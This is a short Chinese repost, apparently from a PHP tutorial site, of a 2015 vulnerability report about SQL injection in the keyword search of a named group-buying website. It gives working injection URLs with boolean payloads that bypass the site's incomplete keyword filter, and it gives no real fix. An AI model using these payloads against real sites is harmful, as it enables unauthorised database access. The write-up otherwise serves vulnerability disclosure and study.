网站地图    收藏   

主页 > 后端 > 网站安全 >

天天团购网SQL注射 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 其实这个貌似对参数进行了过滤,and,-等关键字都已经被限制,但是,过滤不严格导致了问题:or,select ,#39;,=,,等管关键字未被过滤先找个不从在的关键字http://www.tiantiantuangou.com/team/inde...

其实这个貌似对参数进行了过滤,and,-等关键字都已经被限制,但是,过滤不严格导致了问题:or,select ,',=,<,>等管关键字未被过滤
先找个不从在的关键字
http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq返回空
http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq'+or%20'1'='依然返回空
http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq'+or%20'%'='返回数据
由此推断后台sql语句可能类似这样的写法select * from xxx where keyword like '%str%'
,然后我们再来试试http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq'+or%200%3E0+or%20'1'='返回空or 0>0以及最后的or '1'='%也为false,所以返回空
http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq'+or%201%3E0+or%20'1'='返回数据 因为or 1>0成立 www.2cto.com
http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq'+or%20(select%201)%3E0+or%20'1'=' 返回数据,说明(select 1)>0成立,select查询成功
 
 
 
漏洞证明:
 





 
 
 
 
修复方案:

你懂得
作者 冷冷的夜

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论